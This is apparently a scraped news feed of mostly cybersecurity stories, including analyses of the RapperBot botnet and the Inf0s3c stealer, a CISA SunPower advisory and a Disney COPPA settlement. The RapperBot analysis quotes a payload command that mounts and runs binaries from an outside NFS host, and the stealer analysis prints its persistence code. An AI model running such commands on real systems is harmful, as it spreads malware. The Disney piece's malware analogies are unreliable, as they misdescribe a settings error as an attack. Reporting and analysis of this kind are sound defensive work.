-
Cybersecurity researchers have discovered two new malicious packages on the npm registry that make use of smart contracts for the Ethereum blockchain to carry out malicious actions on compromised systems, signaling the trend of threat actors constantly on the lookout for new ways to distribute malware and fly under the radar. “The two npm packages abused smart contracts to conceal malicious
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
The Cybersecurity and Infrastructure Security Agency (CISA) has issued an urgent advisory warning about a critical vulnerability in SunPower PVS6 solar power devices that could allow attackers to gain complete control over the systems.
The flaw, tracked as CVE-2025-9696, stems from the use of hardcoded credentials in the device’s BluetoothLE interface, presenting a significant threat to solar energy infrastructure worldwide.
The vulnerability affects SunPower PVS6 versions 2025.06 build 61839 and prior, with a CVSS v4 score of 9.4, indicating its critical severity.
Attackers positioned within Bluetooth range can exploit this weakness to access the device’s servicing interface, enabling them to replace firmware, disable power production, modify grid settings, create SSH tunnels, alter firewall configurations, and manipulate connected devices.
CISA analysts identified that the vulnerability exploits hardcoded encryption parameters and publicly accessible protocol details within the BluetoothLE implementation.
This design flaw transforms what should be a secure maintenance interface into an open gateway for malicious actors. The attack vector requires only adjacent network access with low complexity, making it particularly concerning for solar installations in populated areas.
Technical Attack Mechanism and Exploitation
The vulnerability leverages the inherent weakness in the PVS6’s authentication system, where static credentials provide a consistent entry point for attackers.
Once an attacker establishes a Bluetooth connection using these hardcoded parameters, they gain administrative privileges equivalent to legitimate service personnel.
The exploitation process involves reverse-engineering the publicly available protocol documentation to identify the authentication sequence.
# Simplified representation of the vulnerability bluetooth_connection = establish_ble_connection(target_device) if authenticate_with_hardcoded_key(DEFAULT_SERVICE_KEY): admin_access = True execute_firmware_replacement() modify_power_settings()
The attack’s sophistication lies in its simplicity – no complex exploits or zero-day techniques are required.
Attackers can potentially develop automated tools to scan for vulnerable devices and compromise them systematically.
The vulnerability’s impact extends beyond individual devices, as compromised units could serve as pivots to access broader energy infrastructure networks.
Notably, SunPower has not responded to CISA’s coordination attempts, leaving users without official patches.
CISA recommends implementing network isolation, using VPNs for remote access, and deploying comprehensive monitoring systems to detect unauthorized access attempts.
Organizations should prioritize updating affected devices once patches become available and consider temporarily disabling Bluetooth functionality where operationally feasible.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
The post CISA Warns of Critical SunPower Device Vulnerability Let Attackers Gain Full Device Access appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Binance, the world’s largest cryptocurrency exchange by volume, continues to hit new milestones, with regards to the platform’s active user base. For example, Binance recently hit the 275 million registered users milestone.
However, where Binance may be really knocking it out of the park, in terms of hitting userbase milestones, may be with the company’s mobile platform.
For instance, last September, Binance was not just the most widely-downloaded crypto app; it was the most widely-downloaded finance app, with 9.9 million downloads during that month.
Specifically, thanks to the continued success of Binance mobile, the company’s goal of reaching 1 billion users seems less far-fetched than before.
As Binance CEO Richard Teng noted in an X post published earlier this year, “the journey to onboarding 1 billion users isn’t a dream—it’s a mission. Every step we take today brings us closer to making crypto mainstream. Let’s build together.”
Binance Mobile App: Adapting to Changing Preferences, While Attracting the Masses
So far, over 100 million Binance members have downloaded the mobile version, with 75% of members utilizing the mobile app. This is not surprising.
Much like how stock trading has moved from desktop-based platforms to mobile brokerage apps, the same trends are playing out in the cryptocurrency space.
At same time, while Binance is catering to changing trading habits among experienced users, the launch of the mobile application has made Binance a more accessible and convenient platform for those new to the crypto game. This has been very beneficial in terms of membership growth.
As cryptocurrency goes mainstream, and an increasing share of the global population join the crypto community, Binance is one of the top beneficiaries of this expanding market.
Last year, over 68 million new users signed up for Binance. That’s an average of 187,000 new users per day. Consumer assets on the platform also increased by a staggering 92.9%, climbing to $73.1 billion.
More Than Just Trading
Although Binance users may initially join in order to buy and sell cryptocurrencies, in time they quickly realize that there’s more to Binance than just its exchange.
However, while Binance’s security, speed, and low transaction cost advantages may be what initially attracts users, something else helps to retain them as active users.
Yes, the high-quality of the Binance platform itself, including the platform’s user-friendly interface, do wonders in terms of keeping users engaged and motivated to use the platform.
However, what likely keeps users from moving to different platforms is the wide variety of Web3 products, services, and functionalities that are within the Binance ecosystem.
With the Binance platform, users are able to do more than just make crypto trades. Through Binance Earn, members can earn a yield on their cryptocurrency assets.
Binance Pay enables users to securely complete crypto-based payment transactions. Via Binance’s Web3 wallet feature, members are able to access the myriad of CeFi, DeFi, and dApps that have become a key feature of the Web3 economy.
These additional features may not be what brought new users to the platform in the first place, but they are material in keeping them actively engaged with the platform. In turn, this points to limited membership churn, and in turn, continual growth of Binance’s user base.
Next Stop 1 Billion Users
Over 100 million Binance members now utilize the mobile app, but in time this figure could grow many times over. Soon, the mobile application could hit 250 million, 500 million, even 1 billion users.
Yes, at first this may sound like a tall order. However, keep in mind that the number of crypto owners worldwide now totals over 500 million.
More importantly, keep in mind that 6 billion people, around 70% of the world’s population, use mobile devices. In short, mobile applications stand to be the most accessible way for current non-users to make the first step in their respective cryptocurrency journeys.
As crypto goes mainstream, to the point where a greater share of everyday transactions are conducted on chain rather than through the traditional banking system, access to crypto platforms will become essential.
In turn, as having a cryptocurrency account becomes as common as owning a mobile device, this ever-growing pool of crypto users will likely choose the safest, most reliable and most user-friendly platform out there. Hence, it’s not far-fetched to imagine Binance’s mobile app growing tenfold in the years to come.
The post Binance Hits 100M+ App Downloads: A Milestone Powering Crypto’s Global Reach appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Disney Worldwide Services, Inc. and Disney Entertainment Operations LLC have agreed to pay $10 million in a landmark settlement to resolve allegations that they systematically collected personal data from children under 13 in violation of the Children’s Online Privacy Protection Act (COPPA) Rule.
The U.S. Department of Justice, acting at the behest of the Federal Trade Commission, filed suit in the United States District Court for the Central District of California, Western Division, accusing Disney of failing to properly label child-directed content on its YouTube channels.
By defaulting many videos to “Not Made for Kids,” Disney allowed persistent identifiers to be assigned to young viewers—enabling targeted advertising and other data-driven features that should have been disabled for children.
The complaint contends that Disney uploaded tens of thousands of videos across more than 1,250 channels, many of which featured animated characters, sing-alongs, and story-time readings clearly directed to children.
Despite YouTube’s 2019 requirement that creators identify “Made for Kids” content to comply with COPPA, Disney’s corporate policy designated channels as entirely child-directed or entirely not, and rarely adjusted individual video settings.
As a result, features such as autoplay on home, comments, and interactive prompts remained active on children’s videos, leading to unauthorized data collection and targeted ads.
UNITED STATES DISTRICT COURTCENTRAL DISTRICT OF CALIFORNIAWESTERN DIVISION noted patterns in Disney’s settings dashboard where the “Audience” toggle was misconfigured.
This misconfiguration resembled a stealthy payload that, like a piece of malware, exploited default settings to exfiltrate user data.
Although not traditional malicious code, the YouTube audience flag served as an attack vector, enabling third-party trackers to harvest persistent identifiers from minors without verifiable parental consent.
The settlement mandates that Disney implement a comprehensive compliance program, including automated checks of audience designations and regular third-party audits. Failure to comply may trigger additional penalties.
This agreement underscores the increasing scrutiny of online ecosystems where default platform settings can be weaponized against privacy regulations designed to protect vulnerable users.
Infection Mechanism: The Audience Flag Exploit
Disney’s unintentional “infection” mechanism hinged on the YouTube audience designation API, which operates similarly to a configuration file vulnerable to misclassification. When uploading content, creators invoke a snippet like:
{ "channelId" : "UCXXXXXX", "audience": { "madeForKids" : false }, "videoId" : "abcd1234" }
By consistently setting
"madeForKids": false
at the channel level, Disney ensured that individual uploads inherited a non-child designation.This mislabeling allowed the YouTube platform to activate targeted ad modules and comment tracking, analogous to loading a tracking library in an application.
Persistence tactics mirrored malware’s use of registry entries: YouTube stored the audience flag in user profiles, ensuring that repeat viewers received consistent tracking across sessions.
Detection evasion occurred because Disney’s teams relied on channel-level defaults rather than per-video auditing, masking the exploit’s effects until YouTube intervened and reclassified over 300 videos in mid-2020.
This case illustrates how misconfigured platform settings can function as a stealthy data-collection mechanism, reinforcing the need for robust, automated compliance controls in digital media operations.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
The post Disney Agreed to Pay $10 Million for Collection Personal Data From Children appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Phishing has moved far beyond suspicious links. Today, attackers hide inside the files employees trust most; PDFs. On the surface, they look like invoices, contracts, or reports.
But once opened, these documents can trigger hidden scripts, redirect to fake login pages, or quietly steal credentials.
The danger lies in how convincing they are. PDFs often slip past filters, look clean to antivirus tools, and don’t raise alarms until it’s too late. That’s why malicious PDFs have become one of the most effective entry points for attackers, and one of the hardest for analysts to spot early.
Why PDFs Became a Hacker’s Favorite Weapon
From an attacker’s perspective, PDFs offer a unique combination of trust and functionality. They are business-critical, exchanged daily across industries, and supported by almost every operating system. That makes them a reliable delivery vehicle for both malware and phishing.
The risks stem from several technical factors:
- Trusted format: Security filters often treat PDFs as low-risk compared to executables.
- Embedded functionality: JavaScript, forms, and links provide multiple entry points for malicious code.
- Exploitable software: Adobe Reader and other viewers regularly face critical vulnerabilities.
- Cross-platform reach: The same file can impact Windows, macOS, Linux, or mobile users.
This means a PDF is never “just a document.” Without dynamic analysis, harmful behaviors, such as credential theft, persistence, or network connections, remains hidden until execution.
The Fastest Way to Detect Malicious PDFs
Static scans may confirm a file is “clean,” but they don’t reveal what happens once it runs. That’s why analysts are adopting interactive sandboxes like ANY.RUN to test PDFs in a safe environment and watch the entire attack unfold in real time.
Suspicious PDF attachment analyzed inside ANY.RUN sandbox Here’s what it gives security teams:
- Faster verdicts: Malicious behavior is detected in under 60 seconds, cutting mean time to detect.
- Context for decisions: Not just that a file is malicious, but how it operates, which helps determine response actions.
- Reduced manual work: No need to dig through obfuscated scripts or raw traffic logs.
- Confidence in response: Analysts can trace every step of the attack, ensuring nothing is missed.
- Actionable intelligence: IOCs are automatically extracted, mapped to MITRE ATT&CK, and ready for SIEM/SOAR integration.
Detect malicious PDFs in seconds, cut investigation time, and get instant IOCs with interactive sandbox.Try ANY.RUN now
Real Case: A Dangerous PDF That Looks Legit
In an ANY.RUN sandbox session, a suspicious file named Rauscher-Fahrzeugeinrichtungen.pdf was detonated. Within just 60 seconds, the analysis marked the activity as malicious, leaving no doubt about the verdict.
View malicious PDF file inside sandbox
Fast verdict of malicious processes by ANY.RUN sandbox The full attack chain appeared in the process tree. Each process was mapped to ATT&CK techniques, giving analysts clear visibility into execution, persistence, and credential theft attempts.
Seeing the chain this way makes it easy to understand the attack’s intent and decide on the right response.
Spearphishing link exposed inside ANY.RUN’s interactive sandbox The sandbox also displayed the fake Microsoft login page used to steal credentials, showing exactly what the victim would see.
For analysts, this makes the risk instantly clear without digging through code and helps communicate the threat to non-technical teams or management.
Fake Microsoft page appears as a result of phishing attack with PDF attachment All relevant IOCs, domains, IPs, and file hashes, were automatically collected in one place, ready to feed into SIEM or SOAR tools. This saves analysts time on manual extraction and ensures faster blocking of similar threats.
Relevant IOCs extracted by ANY.RUN sandbox Finally, the session could be exported as a structured report with timelines, tags, and behavioral details. That makes it simple to brief managers, support compliance needs, or share results with clients without extra work.
Well-structured report generated by ANY.RUN sandbox What seemed like a routine PDF turned out to be a credential-stealing phishing campaign, fully exposed in seconds.
Stop PDF Threats Before They Spread
Malicious PDFs are one of the easiest ways attackers break into organizations, but also one of the fastest to expose with the right tools.
With ANY.RUN’s interactive sandbox, analysts can detect threats in seconds, cut investigation time, and give businesses the confidence that phishing attempts are stopped before damage occurs.
Try ANY.RUN today and see how fast real threats are uncovered in a safe environment
The post Attackers Are Abusing Malicious PDFs: Here’s How to Spot Them Early appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A sophisticated new Python-based information stealer has emerged in the cybersecurity landscape, demonstrating advanced capabilities for data exfiltration through Discord channels.
The malware, identified as “Inf0s3c Stealer,” represents a significant evolution in the realm of data theft tools, combining traditional system reconnaissance techniques with modern communication platforms to avoid detection while efficiently harvesting sensitive information from compromised Windows systems.
The malware operates as a comprehensive grabber designed to systematically collect host identifiers, CPU information, network configurations, and user data from infected machines.
Inf0s3c Stealer (Source – Cyfirma) Upon execution, it silently invokes multiple PowerShell commands through the Command Prompt to gather extensive system details, creating a detailed profile of the victim’s environment.
The stealer targets a wide range of sensitive information including Discord accounts, browser credentials, cookies, browsing history, cryptocurrency wallets, Wi-Fi passwords, and gaming platform sessions from popular services like Steam, Epic Games, and Minecraft.
Cyfirma researchers identified that the malware demonstrates sophisticated packaging and obfuscation techniques, utilizing both UPX compression and PyInstaller bundling to evade detection.
The 6.8MB executable maintains a high entropy value of 8.000, indicating heavy packing that obscures its true functionality from static analysis tools.
During execution, the malware creates temporary directories within the Windows %temp% folder, systematically organizing stolen data into categorized subdirectories such as “Credentials,” “Directories,” and “System” before compilation into password-protected archives.
The stealer’s primary innovation lies in its automated exfiltration mechanism through Discord channels, where it transmits collected data as compressed RAR archives labeled “Blank Grabber.”
This approach leverages legitimate communication infrastructure to blend malicious traffic with normal user activity, significantly reducing the likelihood of detection by network monitoring systems.
Advanced Persistence and Evasion Mechanisms
The Inf0s3c Stealer employs sophisticated persistence tactics that ensure long-term system compromise.
The malware copies itself into the Windows Startup folder, disguised with a .scr extension to appear as a screensaver file.
Build.exe (Source – Cyfirma) This technique is implemented through the
PutInStartup()
function, which targets the system-wide startup directory:-def PutInStartup() -> str: STARTUPDIR = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp" file, isExecutable = Utility.GetS```() if isExecutable: out = os.path.join(STARTUPDIR, "{}.scr".format(Utility.GetRandomString(invisible=True))) os.makedirs(STARTUPDIR, exist_ok=True) try: shutil.copy(file, out) except Exception: return None return out
The malware incorporates multiple anti-analysis features including anti-VM checks and the ability to block antivirus-related websites.
It can perform self-deletion after execution through a “melt” function, leaving minimal forensic traces.
Additionally, the stealer includes a “pump stub” feature designed to artificially inflate file size, potentially bypassing size-based detection heuristics employed by security solutions.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
The post New Stealthy Python Malware Leverages Discord to Steal Data From Windows Machines appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
·
The U.S. military killed nearly a dozen people in a small speedboat allegedly carrying narcotics from Venezuela, President Trump said Tuesday at the White House, echoed shortly afterward by a tweet from his secretary of state.Trump posted video of the lethal encounter on his social media account, claiming U.S. troops “positively identified Tren de Aragua Narcoterrorists in the SOUTHCOM area of responsibility” and carried out the strike “while the terrorists were at sea in International waters transporting illegal narcotics, heading to the United States.”
“The strike resulted in 11 terrorists killed in action,” the president wrote, adding, “Please let this serve as notice to anybody even thinking about bringing drugs into the United States of America.”
The Pentagon didn’t have much more to say about the encounter, telling reporters in a short statement on Tuesday, “As the President announced today, we can confirm the U.S. military conducted a precision strike against a drug vessel operated by a designated narco-terrorist organization. More information will be made available at a later time.”
But: A U.S. official later told the New York Times “either an attack helicopter or an MQ-9 Reaper drone…carried out the attack on Tuesday morning against a four-engine speedboat loaded with drugs.”
Rolling deep: The U.S. has nearly 7,000 troops and more than a half-dozen warships in the region, including a submarine and at least three Arleigh Burke class guided-missile destroyers—USS Gravely, USS Jason Dunham and the USS Sampson—ostensibly to fight drug trafficking from Venezuela. More than 2,000 troops from the 22nd Marine Expeditionary Unit recently arrived. P-8 maritime patrol planes are also operating nearby, as well as troops aboard the USS San Antonio, USS Iwo Jima, and USS Fort Lauderdale. Some of the Navy ships “can carry aerial assets like helicopters while others can also deploy Tomahawk cruise missiles,” Reuters reports. “U.S. surveillance aircraft and other sensors had been monitoring cartel maritime traffic for weeks before the strike,” a U.S. official told the Times.
No known authorization: Congress has passed no Authorization for Use of Military Force for such action, nor has the White House invoked the War Powers Act—which begs the question: on what legal authority do these lethal actions proceed?
Second opinion: “‘Not yielding to pursuers’ or [being] ‘suspected of carrying drugs’ doesn't carry a death sentence,” noted Adam Isacson of the Washington Office on Latin America, writing Tuesday on social media.
Also notable: Despite Trump’s claim that the “terrorists were at sea in International waters transporting illegal narcotics, heading to the United States,” Rubio told reporters later that “These particular drugs were probably headed to Trinidad or some other country in the Caribbean.”
Coverage continues below…
Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1954, the First Taiwan Strait Crisis erupted when military forces from the People's Republic of China began shelling multiple islands around Taiwan.
Update: Trump can’t use the Alien Enemies Act to deport alleged Tren de Aragua gang members, a three-judge panel from the 5th Circuit Court of Appeals ruled Tuesday.
Implications: “The decision bars deportations from Texas, Louisiana and Mississippi,” the Associated Press writes. However, “The ruling can be appealed to the full 5th Circuit or directly to the U.S. Supreme Court, which is likely to make the ultimate decision on the issue.”
“We find no invasion or predatory incursion,” the judges said, and explained, “A country’s encouraging its residents and citizens to enter this country illegally is not the modern-day equivalent of sending an armed, organized force to occupy, to disrupt, or to otherwise harm the United States.” They also clarified, “our injunction solely applies to the use of the war-related federal statute and does not impede use of any other statutory authority for removing foreign terrorists.”
Expert reax: The judges observed “that the law is fundamentally about war and about military actions; not illegal immigration or drug trafficking,” said Aaron Reichlin-Melnick of the American Immigration Council.
Also new: The Pentagon just authorized up to 600 military lawyers to serve as temporary immigration judges, AP reported Tuesday in what one law professor described as a “Blatant way to further militarize immigration enforcement.”
Context: “[M]ore than 100 immigration judges have been fired or left voluntarily after taking deferred resignations offered by the Trump administration” and “at least 17 immigration judges had been fired ‘without cause’ in courts across the country,” AP’s Konstantin Toropin writes. “That has left about 600 immigration judges, union figures show, meaning the Pentagon move would double their ranks” amid a backlog of more than 3 million cases.
Second opinion: “Expecting fair decisions from judges unfamiliar with the law is absurd,” said Ben Johnson, executive director of the American Immigration Lawyers Association. The decision “makes as much sense as having a cardiologist do a hip replacement.” More, here.
Troops in US streets
A judge ruled Tuesday that Trump's National Guard deployment to California was illegal, and shared his concerns about a president acting as a national police chief.
The judge said the roughly 4,700 Guard members and Marines engaged in police activity in violation of the Posse Comitatus Act of 1878, which he said built on the constitutional framers’ wariness of a centralized military force conducting police work, Jacob Fischler reports for States Newsroom.
“Contrary to Congress’s explicit instruction, federal troops executed the laws,” the judge wrote in his opinion (PDF). “Defendants systematically used armed soldiers (whose identity was often obscured by protective armor) and military vehicles to set up protective perimeters and traffic blockades, engage in crowd control, and otherwise demonstrate a military presence in and around Los Angeles. In short, Defendants violated the Posse Comitatus Act.”
He also said he’s concerned that Trump and Defense Secretary Pete Hegseth want to expand the role of National Guard troops for law enforcement, noting the two “have stated their intention to call National Guard troops into federal service in other cities across the country… thus creating a national police force with the President as its chief.” He continued, “Indeed, resentment of Britain’s use of military troops as a police force was manifested in the Declaration of Independence, where one of the American colonists’ grievances was that the King had ‘affected to render the Military independent of and superior to the Civil power.’”
Fine print: The ruling only applies to California.
Next steps: Trump is likely to appeal the ruling to the U.S. 9th Circuit Court of Appeals, where he won a victory early in the case, Fischler writes. Read more, here.
Trump seemed to spurn the ruling Tuesday, and vowed to deploy National Guard troops to fight crime in Chicago. “We're going in. I didn't say when, but we're going in,” the president said Tuesday at the White House. Trump’s vow is “likely to trigger a legal battle with local officials,” Reuters reported afterward.
Developing: Illinois Gov. JB Pritzker claims Texas National Guard troops are preparing for some kind of immigration-related operation around Chicago. “We have reason to believe that the Trump administration has already begun staging the Texas National Guard for deployment in Illinois,” the governor said Tuesday afternoon.
“In the coming days, we expect to see what has played out in Los Angeles and Washington, D.C., to happen here in Chicago,” Pritzker said Tuesday. “It is likely those agents will be with ICE, Customs and Border Patrol, the Department of Homeland Security, and other similarly situated federal agencies. Many of these individuals are being relocated from Los Angeles for deployment in Chicago. We believe that staging that has already begun started yesterday, and continues into today.”
“This is not about crime,” Pritzker said. “More and more reports around these raids include people who were stopped or detained because of how they look, and not because of any threat to the public…Let's be clear, the terror and cruelty is the point, not the safety of anyone living here.”
Local opposition: “[Trump] just wants his own secret police force that will do publicity stunts whenever his poll numbers are sinking, whenever his jobs report shows a stagnating economy, whenever he needs another distraction from his failures,” Chicago Mayor Brandon Johnson said in a statement Tuesday.
Additional opposition: “The administration is clearly exceeding its constitutional limits by treating the National Guard as its personal standing army,” said David Janovsky, acting director of The Constitution Project at the Project on Government Oversight. “First, it was Los Angeles. Then, it was our nation’s capital. Now, the federal government has its sights set on turning Chicago and Baltimore into police states. “This is an egregious and dangerous overreach that is already having disastrous consequences,” he claimed, and asked lawmakers to intervene. “Americans shouldn’t fear going to the grocery store or dropping their children off at school just because the administration wants to exert power and use our service members as political props,” he added.
For some informed legal analysis of a possible Guard deployment to Chicago, national security law professor Steve Vladeck wrote a quick explainer Tuesday following Pritzker and Trump’s remarks to reporters.
An excerpt: “[W]e’ve never had a President who thought it was a good idea to try to pull a stunt like this (or, at the very least, who didn’t face insurmountable political obstacles to attempting to do so),” Vladeck observes. “But my own view, having spent a lot of time looking at Founding-era materials on domestic uses of the military, is that a Constitution that authorized what Trump is apparently contemplating would never have been ratified by states that were already suspicious of giving away too much control over their own affairs.”
Related reading: “Can Federal Troops Be Stationed At The Polls In 2026?” former Justice Department attorney Joyce Vance considered, writing Tuesday on Substack.
New: Space Command HQ will move to Alabama, in part because of Colorado’s voting policies, Trump says. In the latest whiplash for the combatant command, the president says he will move SPACECOM headquarters to Huntsville, Alabama, reversing a Biden-administration decision to keep it at Peterson Air Force Base. The Pentagon spent hundreds of millions of dollars to build the Peterson HQ, which became fully operational less than two years ago.
Trump has long railed against mail-in voting, claiming falsely that it is more prone to fraud. (“Mail voting malfeasance is exceptionally rare,” says the nonpartisan Brennan Center.) Defense One’s Audrey Decker has more, here.
Additional reading: “Trump’s move of SPACECOM to Alabama has little to do with national security,” via ArsTechnica.
Europe
Ukraine’s milestone shows drones prevent defeat, but don’t secure victory. Kyiv’s announcement that it will procure two million drones this year underscores a counterintuitive phenomenon: increasing the speed of innovation and deployment of new technologies may not result in any increase in battlefield gains.
“Those one-way attack drones are not going to gain air superiority, and they don’t have air superiority, and that’s really one of the key attributes of the conflict in Russia-Ukraine, is no one does,” Gen. Alexus Grynkewich, commander of U.S. European Command, and Supreme Allied Commander Europe, said last week at an NDIA event in Washington, D.C.
Ukraine’s radical rethinking of acquisition now allows frontline commanders to buy drones directly from manufacturers—and receive them in as little as five days. The Pentagon is following suit, in spirit if not in letter. But will it work? Defense One’s Patrick Tucker digs in, here.
Related: “Ukrainian drone strikes strangle Putin’s fuel supplies,” reports Politico, adding that attacks on refineries have caused shortages and interrupted gas exports that are key to Moscow’s ability to continue its war.
How China is secretly arming Russia. An investigation by The Telegraph has unearthed 97 suppliers in ostensibly neutral China that are sending arms and components to Russia. “Goods directly exported by China to Russia included aircraft engines, microchips, metal alloys, camera lenses, fibreglass, emulsion binders for fibreglass, and carbon fibre yarns—all key components to produce the drones that wreak nightly havoc on Ukraine.” Read on, here.
Additional reading:
- EU Commission President Ursula “Von der Leyen’s plane hit by suspected Russian GPS jamming,” Politico reported Sunday; Reuters has more;
- “EU to boost satellite defences against GPS jamming, Defence commissioner says,” Reuters reported Monday.
- See also AP’s Tuesday explainer, “What to know about Russia's GPS jamming operation in Europe”;
- And “German authorities warn people against becoming ‘disposable agents’ for Russia,” AP reported separately Tuesday from Berlin.
Etc.
Developing: There’s lots of new construction around a suspected nuclear weapons site inside Israel, AP reported Wednesday citing satellite imagery over the Shimon Peres Negev Nuclear Research Center near the city of Dimona.
Experts who reviewed the imagery said “it could be a new reactor or a facility to assemble nuclear arms—but secrecy shrouding the program makes it difficult to know for sure.” Three said the location and size of the area under construction” pointed to “the construction of a new heavy water reactor.” Four others “acknowledged it could be a heavy water reactor but also suggested the work could be related to a new facility for assembling nuclear weapons.” Read more, here.
]]>¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Cybersecurity researchers began detecting an alarming surge in early April 2025 in UDP flood traffic emanating from compromised network video recorders (NVRs) and other edge devices.
Within milliseconds of infection, these devices were weaponized to direct overwhelming volumes of packets at unsuspecting targets, leading to service disruptions and massive bandwidth consumption.
Bitsight analysts identified this activity as the work of a novel botnet they dubbed RapperBot, noting its unusually rapid kill chain and innovative use of legacy hardware constraints to evade detection.
18-port Ethernet Hub Setup (Source – Bitsight) The malware’s emergence follows a familiar pattern: threat actors scan the Internet for exposed web interfaces, brute-force or exploit default credentials, and deliver a malicious payload disguised as a firmware update.
Once executed, RapperBot immediately begins two distinct actions: encrypted DNS TXT record queries to obtain command-and-control (C2) IP addresses, and continuous UDP floods on port 80.
Impact assessments show individual device throughput exceeding 1 Gbps, with aggregated botnet capacity peaking at over 7 Tbps during coordinated campaigns against major targets, including cloud-based search providers and social media platforms.
Despite its potency, the malware’s behavior is elegantly simple: it mounts a remote NFS share to fetch and execute architecture-specific binaries, then self-deletes to run entirely in memory.
Bitsight researchers noted this strategy leverages the minimal BusyBox environment on many IoT devices, where standard download tools like
curl
or/dev/tcp
are absent.By exploiting the NVR’s firmware update mechanism—specifically, a path traversal zero-day in the web server followed by a binary fetch over NFS—RapperBot avoids the usual filesystem artifacts that trigger antivirus alerts.
Firmware Update JSON Payload (Source – Bitsight)
Under the hood, RapperBot’s C2 discovery mechanism relies on encrypted TXT records hosted on OpenNIC domains such as
iranistrash.libre
andpool.rentcheapcars.sbs
.The malware constructs one of 32 predetermined hostnames by selecting randomly from hardcoded subdomain, domain, and TLD lists, then resolves these names against custom DNS servers (1.1.1.1, 8.8.8.8, and others).
The TXT response contains a pipe-separated list of encrypted IP addresses, which the bot decrypts with a custom RC4-like algorithm followed by base-56 decoding.
A Python snippet illustrating the decryption stages appears below:-
# Stage 1: Key Scheduling Algorithm (KSA-like) S = list(range(56)) key = (first_byte_index + second_byte_index * 56) for i in range(55, 0, -1): key = (0x41C64E6D * key + 0x3039) & 0xFFFFFFFF j = key % (i + 1) S[i], S[j] = S[j], S[i] # Stage 2: Keystream-based XOR decryption keystream = bytearray() i = j = 0 for b in encrypted_payload[2:]: i = (i + 1) % 56 j = (j + S[i]) % 56 S[i], S[j] = S[j], S[i] keystream. Append(S[(S[i] + S[j]) % 56] ^ b) # Stage 3: Base-56 decoding to obtain plaintext IP list plaintext = base56_decode(keystream) print(plaintext) # e.g., b"194.226.121.51|188.92.28.62|..."
Getting C2 IP addess and connecting to C2 (Source – Bitsight) Infection Mechanism
RapperBot’s infection vector capitalizes on the administrative port (TCP 34567) of vulnerable NVRs.
Upon identifying an exposed device, the attacker exploits a path traversal flaw to download account configuration files, revealing both hashed and plaintext credentials.
With these credentials, the attacker initiates a fake firmware update, sending a ZIP-formatted payload over the proprietary update protocol.
The ZIP archive contains a simple
InstallDesc
JSON instructing the device to mount104.194.9.127:/nfs
and execute the payload script:-{ "UpgradeCommand": [ { "Command": "Shell", "Script": "cd /var;mount -o intr,nolock,exec 104.194.9.127:/nfs z;z/z;" } ] }
This approach cleverly bypasses the NVR’s BusyBox limitations—no
wget
,curl
, or/ dev/tcp
—by using NFS, a protocol universally supported even on minimal embedded Linux systems.The script iterates through multiple ARM architecture binaries until successful, writes a marker file
.r
, then cleans up, leaving no on-disk executable.The immediate execution from mounted memory significantly reduces forensic footprint and enables the split-second transition from benign device to active DDoS participant.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
The post RapperBot Hijacking Devices to Launch DDoS Attack In a Split Second appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
PagerDuty has confirmed that it experienced a data breach following a compromise of its Salesforce account. The company was first alerted to the issue by Salesloft on August 20, 2025, when Salesloft notified PagerDuty of a security problem in the Drift application. A few days later, on August 23, Salesloft revealed that attackers had exploited […]
The post PagerDuty Confirms Data Breach After Salesforce Account Compromise appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A newly discovered vulnerability in the AI supply chain—termed Model Namespace Reuse—permits attackers to achieve Remote Code Execution (RCE) across major AI platforms, including Microsoft Azure AI Foundry, Google Vertex AI, and thousands of open-source projects. By re-registering abandoned or deleted model namespaces on Hugging Face, malicious actors can trick pipelines that fetch models by […]
The post Namespace Reuse Vulnerability Exposes AI Platforms to Remote Code Execution appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶